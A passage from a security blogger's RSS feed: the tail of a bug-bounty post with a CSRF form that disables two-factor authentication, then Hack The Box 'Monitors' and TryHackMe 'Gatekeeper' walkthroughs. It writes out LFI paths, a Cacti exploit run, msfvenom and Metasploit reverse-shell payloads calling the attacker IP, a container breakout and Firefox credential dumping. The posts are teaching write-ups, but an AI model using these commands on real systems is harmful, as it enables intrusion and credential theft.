the credential you have to access the account</p><p><strong>PoC</strong></p><p>&lt;html&gt;</p><p>&lt;body&gt;<br> &lt;form action=”https://target.com/MSM_Test/RFP/Forms/ScriptHandler.ashx?method=<strong>DisableTwoFactorAuthentication</strong>&amp;classPath=%2FMSM_Test%2FRFP%2FForms%2FProfile.aspx&amp;classMode=WXr8G2r3eh3984wn3YQvtybzSUW%2B955Uiq5AACvfimwA%2FNZHYRFm8%2Bgidv5CcNfjtLsElRbK%2FRmwvfE9UfeyD6DseGEe5eZGWB32FOJrhdcEh7oNUSSO9Q%3D%3D&quot; method=”POST” enctype=”text/plain”&gt;<br> &lt;input type=”submit” value=”Submit request” /&gt;<br> &lt;/form&gt;<br> &lt;/body&gt;<br>&lt;/html&gt;</p><p>After send the exploit code to the victim the 2FA will be disable and i can bypass it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*S4vnXMh9g2Q1F7rAZWW-EA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ddc167f2d2a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Monitors Walkthrough — Hackthebox]]></title>
            <link>https://sadc0d3r.medium.com/monitors-walkthrough-hackthebox-7ce2d37f5190?source=rss-cf727649f4af------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ce2d37f5190</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Ahmed Rabeaa Mosaa (SadC0d3r)]]></dc:creator>
            <pubDate>Sat, 18 Sep 2021 02:23:47 GMT</pubDate>
            <atom:updated>2021-09-18T03:17:43.823Z</atom:updated>
            <content:encoded><![CDATA[<h3>Monitors Walkthrough — Hackthebox</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*zUQiHQw8XXOARH94E1d_gA.png" /></figure><p>Hi guy My Name is Ahmed (SadC0d3r)</p><p>To day i will solve Monitors machine</p><p>OS : Linux<br>Difficulty : Hard<br>Ip : <a href="http://10.10.10.238/">10.10.10.238</a></p><p>Let’s Start</p><p>i will nmap the target but i didn’t get unnormal port is opened<br>the ports is opened is 22 and 80</p><p>When I go to the Ip i see this this message</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*JblEdmeWpTws_JPq-4CKdA.png" /></figure><p>so i go to /etc/hosts and add the ip with host name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uJVuZCzg3svbkRipT0NVBQ.png" /></figure><p>then go tho the domain <strong>monitors.htb</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hu8D9DyrIPhF_TYr72_YUg.png" /></figure><p>now i want get info about the site<br>when i saw the index page i see this line</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C53r4DDz_6uk7eqPNlW1Qw.png" /></figure><p>and In <strong>wappalyzer </strong>addon i identify the web technology</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aDOPTL9Q9-oAcZOhpXAy3g.png" /></figure><p>It used wordpress version 5.5.1</p><p>Now i use <strong>wpscan </strong>tool to get more info about the site and know the if exist thing vulnerable or not</p><p><strong>sudo wpscan — url </strong><a href="http://monitors.htb/"><strong>http://monitors.htb/</strong></a><strong> — api-token XYZ -e vp,vt</strong></p><p>This command it will be scan the site and enumerate all plugins and themes may be vulnerable</p><p>The result is big but the important thing is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JTho4LHSBed4ASjFoQN9Zg.png" /></figure><p>i will go to the exploit-db url is displayed on screen and i get the vulnerable endpoint</p><p><strong>/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iQXhSWXhSNohnBCXeKFHRg.png" /></figure><p>Done it worked and i get user name <strong>marcus</strong> i try get ssh key by this path<br>/home/marcus/.ssh/id_rsa but i can’t</p><p>then i read wp-config.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VDWBr0o8xuB9Sjpp_SlLUQ.png" /></figure><p>Great i get the DB connection info</p><p>i tried get RCE from LFI by several methods but failed and try use the DB password with username Marcus but failed again</p><p>so i get list of LFI paths and send the request to intruder and i use the paths list</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZzUWGMJ83STjxRs8BMBbyA.png" /></figure><p>All content length with 166 this is meaning nothing is returned <br>i will click to the length tap to changing the sorting method</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9qffu_iD2vkOCSUGQLZe9A.png" /></figure><p>After opened some of response i found thing maybe important in this path<br> /etc/apache2/sites-enabled/000-default.conf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xSpWNh7247UMknCk-By3Qg.png" /></figure><p>i found this subdomain i go to it<br>i can’t because i should add this subdomain to machine ip in /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ds7lWHkAnMjQRk2j_7K_6g.png" /></figure><p>and then go to the subdomain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1xbwxjEYJuh12HI2SIkRLg.png" /></figure><p>how i login without know any credential</p><p>i have username and password {marcus, DB password} but i still i can’t login<br>i tried user the username is admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8T0_aQMJ-AHsw11bNgSZwQ.png" /></figure><p>Yessss… i logged in</p><p>this is first time see this CMS so i didn’t know how exploit or use it so i go to about page and saw the version and go to Goolge to make some searching to exploit it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MuhhNlQsoai_mOxEA6Zd3Q.png" /></figure><p>CMS name : Cacti<br>Version : 1.2.12</p><p>i found this exploit <br><a href="https://www.exploit-db.com/exploits/49810">https://www.exploit-db.com/exploits/49810</a></p><p>i downloaded it and start to use it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ez-V2n3c0WsgOQqTqiw4dA.png" /></figure><p>this is options to use the exploit</p><p><strong>Take care you should run listener before run the exploit code<br>nc -vlp 4444</strong></p><p>and now run the exploit code <br><strong>python exx.py -t </strong><a href="http://cacti-admin.monitors.htb/cacti/"><strong>http://cacti-admin.monitors.htb</strong></a><strong> -u admin -p BestAdministrator@2020! — lhost 10.10.16.64 — lport 4444</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7E3Q2fcxLPRtnppCGdSvZg.png" /></figure><p>Exploit is completed and lets check the <strong>listener</strong></p><p>yes i get the RCE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WfqvfRU88A0gSdgWQAMoiA.png" /></figure><p>Run this command to get spawn shell</p><p><strong>python -c ‘import pty;pty.spawn(“/bin/bash”)’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W7RJQnivVMiNalc3Lv5kYw.png" /></figure><p>and i will go to /home to try get the user <br>i will use the DB password to try get the marcus user but i can’t</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kM5aE0pbleVNBg6m6eQYfg.png" /></figure><p>i found some of file but i can’t read any file so i will run this command</p><p><strong>grep ‘marcus’ /etc -R 2&gt;/dev/null</strong></p><p>to get all file didn’t have binaries</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*gljtbSyVkFoSrAvywbompw.png" /></figure><p>i found this script so i will read it by this command</p><p><strong>cat /home/marcus/.backup/backup.sh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hNMSQgIpR_cHbgew6CHaBw.png" /></figure><p>i found pass i will try to use it to get marcus user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iTniTedIW2XkyiMrtsHXZg.png" /></figure><p><strong>Great i get marcus user and read the user flag</strong></p><p>now i will connect with ssh to more comfortable shell</p><p>ssh marcus@<a href="http://10.10.10.238/">10.10.10.238</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cDinm67Ch99z4t-E8JYf7A.png" /></figure><p>ok … now i saw file called <strong>note.txt<br>lets see it</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gCxhWntN8ql93eMgETeMYw.png" /></figure><p>this is comment told the docker should be updated but it still not</p><p>ok i will install on the server the linpeas script to scan anyprivilege escalation potential</p><p>but i facing a problem the server doesn’t have wget or curl<br>but after do some of searching i found method by <strong>nc</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*b4Wcc0CG6ecdWehfGn5QDA.png" /></figure><p>in our attack box write this command<br><strong>nc -lvp 5555 &lt; rootv2.sh<br>rootv2.sh is a leanpeas script</strong></p><p>in server write this command<br><strong>nc 10.10.16.64 4444 &gt; rootv2.sh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*uLbuT8_cVnV-o3dDj3Qe6Q.png" /></figure><p>ok lets give the script execute permeation by this commmand<br><strong>chmod +x rootv2.sh<br></strong>and run the script <strong><br>./rootv2.sh -a</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*smnd98WnsghvsqckTs4RBw.png" /></figure><p>After the tool finished i take time to review the result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LYu2hjvBYSVvN4VhLbGg3Q.png" /></figure><p>Port 8433 is a default port in apache tomcat so i want open the service it working in this port but if you put the <strong>monitors.htb:8443 you didn’t can get the service mmm this is a proxy then i will do port forwarding ssh tunnling</strong></p><p><strong>ssh -L 8443:127.0.0.1:8443 marcus@10.10.10.238</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vOrs6aTtDH67pfTh7icRFA.png" /></figure><p>Ok i accessed the service and detected the version of tomcat<br>Version : 9.0.31</p><p>lets go to the google and search for exploit for this version</p><p>I spent too much time to searching and testing and finally i got the right exploit</p><h4>CVE-2020–9496<a href="https://sploitus.com/exploit?id=PACKETSTORM:161769"><br>https://sploitus.com/exploit?id=PACKETSTORM:161769</a></h4><p>Now i will use metasploit to exploit</p><p>write those command</p><p><strong>msfconsole</strong></p><p><strong>search CVE-2020–9496</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4_pyF7HdThcRHnjNKy4gcQ.png" /></figure><p>then use the exploit by this command<br><strong>use 0</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ef19KGb8ITIGKGaTb0VIYQ.png" /></figure><p>Now write <strong>options </strong>to setup the exploit<br><strong>set PAYLOAD linux/x86/meterpreter/reverse_tcp<br>set LHOST 10.10.16.64<br>set RHOSTS 127.0.0.1<br>set FORCEEXPLOIT true<br>run</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tmbXlwxddqul0CLB4E2esA.png" /></figure><p>Great i got meterpreter session</p><p>when i wrote whoami or id the command didn’t run so i write <strong>shell </strong>to get the server shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6zkjDTlD8ajO7WWSwFquZg.png" /></figure><p>i get the root i get the root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/0*aakaPjq5SKaeCuhB.gif" /></figure><p>lets get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6w1WZY5gNvgMqnFBz-q7w.png" /></figure><p>What!!<br>where is the flag!</p><p>after a few minutes I realized that this a container</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*KMzc1f_mNAvhuaPfc76HdQ.gif" /></figure><p>Now i want to breakout the container to access the root server so lets google it<br><a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout</a></p><p>I will check Container Capabilities by this command<br><strong>capsh — print</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5mTTvxzqZbkvZwfFnRpAkA.png" /></figure><p>Ok this is vulnerable then i will search again to get the exploit<br>i found this article toke about this vulnerability<br><a href="https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd">https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd</a></p><p>I will use the exploit code in the article</p><p>Go back to meterpreter session again <br>and on your attackbox open the editor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mmn_5p1PN1mPNLF0zfWCGA.png" /></figure><p>don’t forget set your IP and port</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GvrAeYxYAY4ZISHwsYzuuw.png" /></figure><p>but wait <br>when i solve this machine i facing a lot of problems in this Makefile so follow me</p><p>in shell go to<strong> /lib/modules</strong> and <strong>ls</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kp2Nk8UJwcfC4v8ZPH8Zvw.png" /></figure><p>choose anyone and replce $(shell uname -r) in Makefile to 4.15.0.142-generic<br>like that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tRt2qPJwjhLpcfoD6foJyw.png" /></figure><p>And in variable <strong>M </strong>remove<strong> $(PWD)</strong> and write<strong> /</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0IsFmTRWoPs2iLImNKm5xw.png" /></figure><p>Final file</p><p>now lets upload the files by meterpreter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*okyLpFVcYwN6Q8gKTA4--w.png" /></figure><p>write <strong>shell</strong></p><p>then <strong>make</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*PR1kpOKSeWmznhQXkZFZ3g.png" /></figure><p>now open netcat leistner<br><strong>nc -vlp 8888</strong></p><p>now in server write this command<br>insmod ex.ko</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*V68KCFvDtXtSPkFCRtldxA.png" /></figure><p>the root is on fire</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VMIcciJZrpE27mI_bB-ZVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*qoF3BH_1pvpyPzNLmg9LHw.png" /></figure><p><strong>The Monitors has been PWNed</strong></p><p><strong>I hope you like the explanation, thank you</strong></p><p><strong>Follow me on twitter</strong></p><p><a href="https://twitter.com/AhmedMosaa18">Ahmed Rabeaa Mosaa (@AhmedMosaa18) / Twitter</a></p><p><strong>and Linkedin</strong></p><p><a href="https://www.linkedin.com/in/sadc0d3r/">Ahmed Mosaa | LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ce2d37f5190" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme Gatekeeper Walkthrough]]></title>
            <link>https://sadc0d3r.medium.com/tryhackme-gatekeeper-writeup-31e6747ce01a?source=rss-cf727649f4af------2</link>
            <guid isPermaLink="false">https://medium.com/p/31e6747ce01a</guid>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Ahmed Rabeaa Mosaa (SadC0d3r)]]></dc:creator>
            <pubDate>Thu, 09 Sep 2021 04:48:44 GMT</pubDate>
            <atom:updated>2021-09-09T15:52:59.772Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi guys my name is Ahmed and my nickname is SadC0d3r</p><p>To day i will solve Gatekeeper machine</p><p>Difficulty: Medium</p><p>OS : Windows</p><p><a href="https://tryhackme.com/room/gatekeeper">TryHackMe | Gatekeeper</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*iM9SF0RvccpUeSSP6rjAkA.png" /></figure><p>let’s start the machine and take the ip</p><p>First step i will namp the target</p><p>target ip = 10.10.135.141</p><p>nmap -A -sV 10.10.135.141</p><p>in this command i use option <strong>-A </strong>to get some information about the OS (operating system) of the machine and<strong> -sV </strong>option to get the version of service running maybe version of service is vulnerable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uus2fXGIVEZeHZ4IvSB_3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wry-XPk7v0KK7tmplIMttg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bjctFWVYMfcaELmtXoGcIw.png" /></figure><p>Ok let’s read the nmap result</p><p>i found port 31337 is open it caught my attention and tried to connect the port by <strong>nc (netcat) </strong>by this command<strong> nc 10.10.135.141 31337</strong></p><p>i doesn’t get any thing then i wrote any word</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uJika1tuB1fjE1UmX3RZsw.png" /></figure><p>when i wrote the sad it reflected in new line</p><p>Ok let’s try Reflect XSS in my terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C5hYhw392G0kjGh5" /></figure><p>Sorry i kidding 🤣🤣🤣</p><p>i tried enter big number and i see what the program will do</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XP6Cw4OVdarvFZZ9K8-pww.png" /></figure><p>great the connection is closed that is meaning the program in the server has been crashed</p><p>the next step get the binary version of this program i make some of directory brute forcing but this machine has not web page to do that</p><p>but wait i found smb is opened in this machine when i saw the nmap result then let’s try to connect the smb by smbclient by this command</p><p><strong>smbclient -L //10.10.142.181</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u4-kP1EZ_QvFfFxyIQgW9w.png" /></figure><p>i found ADMIN$ … etc i tried connect with ADMIN$ but i can’t then i tried Users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D95Ph-gxJi_yLz9tI9VVOQ.png" /></figure><p>Done ! … i can connect and execute some f command i found 3 dirs</p><p>i will go to Share dir</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FaaDvjoXz1pQeD1JXQEjxg.png" /></figure><p>yes i found exe file i will download it by this command<strong> get gatekeeper.exe</strong></p><p>and i will open my windows machine and run Immunity Debugger as administrator</p><p>and open the exe file from here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sW_VXT3E3BO0Yqws6VPEFg.png" /></figure><p>and press <strong>F9 </strong>twice to run the program</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nRGM2CLmy-CznHC4fBBoWw.png" /></figure><p>and get my ip for windows machine by this command in cmd <strong>ipconfig</strong></p><p>let’s confirm the program it is the same run in the server by try to connect in the same port</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CPbswoh2YK9rdsrwc_sq_w.png" /></figure><p>Good it is the same program lets start to testing <strong>Buffer overflow</strong></p><p>First all tools or scripts here in this link</p><p><a href="https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst">Pentest-Cheatsheets/buffer-overflows.rst at master · Tib3rius/Pentest-Cheatsheets</a></p><p>ok lets do fuzzing to identify when the program will crash</p><p>put big input in the program in put like i do previously</p><p>ok the first thing in Bof (Buffer overflow) testing get the offset to know when the buffer will overflow</p><p>then i will generate the pattern 1000 byte by this command</p><p><strong>/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JjQdHQcUYPtg9HlFGwglYQ.png" /></figure><p>open the exploit script and put our windows machine in <strong>ip variable and port 31337 in port variable and the pattern in payload variable</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gRRtNUCQW32hqeupB8UGvQ.png" /></figure><p>then run the exploit script and go to immunity debugger you will see the program has been crashed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o069iJLjQvxUQxRmDHRvag.png" /></figure><p>then copy the <strong>EIP address</strong> and go to terminal again to calculate the offset</p><p>by this command</p><p><strong>/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 39654138</strong></p><p>in option <strong>-l</strong> i put the byte size i generated and in<strong> -q</strong> option i i put the <strong>Eip address</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l-thCRBxJuA5CfsOeJ6Dbw.png" /></figure><p>Good i get the offset then go to exploit script again <strong>and change the offset variable from 0 to 146</strong></p><p>and confirm the overwrite by change the <strong>padding variable to BBBB and delete any values in payload variable</strong></p><p>restart the program in immunity by pressing<strong> ctrl + f2 and f9 twice</strong></p><p>and run the exploit script again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bdVEnPYQidlaFe5-S8BM5w.png" /></figure><p>in normal you will see in EIP register the value is 41414141 this for we send <strong>A </strong>but now you will see the EIP value is 42424242 because we added the BBBB over the offset</p><p>the next step get the bad character (this character make problems during the payload running to lead attack failed to get reverse shell)</p><p>i will use mona module then make working dir to mona by this command</p><p><strong>!mona config -set workingfolder c:\mona\%p</strong></p><p>in immunity i will run this command to generate list of bad chars from {\x01 to \xff} \x00 char it is bad by default</p><p><strong>!mona bytearray -b “\x00”</strong></p><p>and run this script in your terminal to generate the bad chars</p><p><em>for x in range(1, 256):<br> print(“\\x” + “{:02x}”.format(x), end=’’)<br>print()</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a2EAMPLn6DKTlZpdyJ0uJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ntW0ivH1HJ5RjzWOfdC2-Q.png" /></figure><p>copy the bad chars list and go to exploit script and put it in payload variable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sHHgtTy4op198GooFg6IyQ.png" /></figure><p>now restart the program in immunity by pressing<strong> ctrl + f2 and f9 twice</strong></p><p>then run the exploit script</p><p>the program it will crash again ok now i will get the bad chars by tow methods</p><p>the first method by go to ESP register and right click and choose follow in dump</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WnKAsnZPeZLReFr0VUcyOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*7Wj5jmetIEy3WS_fdagwyQ.png" /></figure><p>you will find all chars we generated but the bad chars you didn’t found it</p><p>You should check char by char to find the lost to know this is bad char</p><p>but it so hard then lets go to use second method</p><p>we will use mona module to find the bad char by this command</p><p><strong>!mona compare -f C:\mona\oscp\bytearray.bin -a &lt;ESP&gt;</strong></p><p>replace the &lt;ESP&gt; to here value</p><p>the final command</p><p><strong>!mona compare -f C:\mona\oscp\bytearray.bin -a 02AB19F8</strong></p><p>you will get the bad chars is <strong>\x00 </strong>and <strong>\x0a</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*GnqOvRZgRS6fYJNjy7BYrQ.png" /></figure><p>ok now we will <strong>Finding a Jump Point </strong>this point haven’t any protection and we will redirect to my shell code</p><p>using this command</p><p><strong>!mona jmp -r esp -cpb “\x00\x0a”</strong></p><p>include all of bad chars</p><p>and run it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F7wXSDRZKJkrJPu7jzc_sA.png" /></figure><p>here you will get tow address choose any one and if you doesn’t see the result go to the working dir you will get file contain the result bigger than this terminal</p><p><strong>C:\mona\gatekeeper\jmp.txt</strong></p><p>now i will write the address reversely</p><p>the address is 0x080414c3 you should write <strong>\xc3\x14\x04\x08</strong></p><p>and added in <strong>retn </strong>variable in exploit script</p><p>ok now generate the payload to gain the reverse shell</p><p>i will use msfvenom</p><p><strong>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.6.71.200 LPORT=4444 EXITFUNC=thread -b “\x00\x0a” -f c</strong></p><p>i will generate <strong>meterpreter </strong>reverse shell and you change the<strong> LHOST </strong>to your kali machine<strong> (your attack box) </strong>and <strong>LPORT to any </strong>prefered port i will use 4444 port and -b put the bad chars you found it to extract them and -f to generate in specific language i use<strong> C</strong> you can use py for python</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yeLNYCB_8sLWU8zrPFFkxw.png" /></figure><p>this is the payload go to the exploit script and put this payload in payload variable and in <strong>padding</strong> variable put this value<strong> “\x90” * 16 to take a space to run our shell code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PsHAcXRNDKmzz_mBNkdXAA.png" /></figure><p>very good now open the metasploit by this command <strong>msfconsole </strong>to configure our listener</p><p>after the metasploit is opened write this command to use the multi handler</p><p><strong>use exploit/multi/handler</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IEATchPrAfpWaYMcH7LA2A.png" /></figure><p>now write options to see the multi handler options</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dh-J0S3wdm9amKDJhG6MCg.png" /></figure><p>this is options</p><p>now write this command to set your local ip</p><p><strong>set LHOST &lt;YOUR IP&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m3WwFzId96q-u8axfp4uiQ.png" /></figure><p>and use this command to set the type of payload i generate windows/meterpreter/reverse_tcp</p><p><strong>set PAYLOAD windows/meterpreter/reverse_tcp</strong></p><p>and now write run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9wPPvTBoZPAYPoBaYLL-9A.png" /></figure><p>now go to exploit script and change the <strong>ip variable</strong> to the machine ip</p><p>and run the exploit script</p><p>BooooM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iG9inLI4euFoQ_3ckvRjZQ.png" /></figure><p>we get the meterpreter shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OUljaTq532WX-4ro4FXRAw.png" /></figure><p>this is info about the machine</p><p>write <strong>ls </strong>command and dont care about OS the meterpreter will run correct command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q-rIIXZsyY-VNcI9pXe63A.png" /></figure><p>file <strong>user.txt.txt </strong>the user flag</p><p>write cat <strong>user.txt.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*JOJvsf5L7oYWrFqwe-cKpA.png" /></figure><p>now the party will be start now<strong> privilege escalation</strong> time</p><p>when i run <strong>ls </strong>command in back screen i found <strong>Firefox.lnk</strong></p><p>Firefox.lnk this is shortcut icon thats meaning this machine have firefox browser</p><p>why not try dump the credential lets try</p><p>ok now press ctrl+z in meterpreter shell and choose yes kept it in background</p><p>and now use the <strong>post/multi/gather/firefox_creds </strong>to dump the users credential</p><p><strong>use post/multi/gather/firefox_creds</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eGELyCqyZpIBQRSt5qoc-g.png" /></figure><p>write options</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDYE96g437JgeTY42WbO1A.png" /></figure><p>it need number of session you can get the session number by this command</p><p><strong>sessions</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nh1kzvKPLXLPPQQ6LHGMjQ.png" /></figure><p>the session id</p><p>now write <strong>set SESSION 1</strong> to set the session and then write<strong> run</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RcQpqzj-H6FHeZ6ja6dyqA.png" /></figure><p>now it dump the info in this path<strong> /home/kali/.msf4/loot/</strong></p><p>show in your terminal whats the path</p><p>now i try to decrypt the info by this tool</p><p><a href="https://github.com/unode/firefox_decrypt">GitHub - unode/firefox_decrypt: Firefox Decrypt is a tool to extract passwords from Mozilla (Firefox™, Waterfox™, Thunderbird®, SeaMonkey®) profiles</a></p><p>but when i tried run this tool it didn’t work then go to Google and make some of search i found we should change the filse name to cert9.db,cookies.sqlite,login.json and key4.db</p><p>ok now i will rename all files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZG4p7upzcSYQAOPYj9iBxQ.png" /></figure><p>now i will run the tool by this command</p><p><strong>python3 firefox_decrypt.py ./</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*4Kjsmxfr5reqbvS3lSJ7oQ.png" /></figure><p>Great i found username and password i will try use it to connect the server like rdb by this command</p><p><strong>xfreerdp /u:mayor /p:8CL7O1 /cert:ignore /v:10.10.230.43 /workarea</strong></p><p>in /u: put the username /p:put the password /v:machine ip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rvv0D7-jsklUTMDcwZrbkg.png" /></figure><p>the root flag in file root.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*Wf-3wWbtdWJ2rjvD7SEedQ.png" /></figure><p>and the machine has been pwned</p><p><strong>I hope you like the explanation, thank you</strong></p><p><strong>Follow me on twitter</strong></p><p><a href="https://twitter.com/AhmedMosaa18">Ahmed Rabeaa Mosaa (@AhmedMosaa18) / Twitter</a></p><p><strong>and Linkedin</strong></p><p><a href="https://www.linkedin.com/in/sadc0d3r/">Ahmed Mosaa | LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31e6747ce01a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>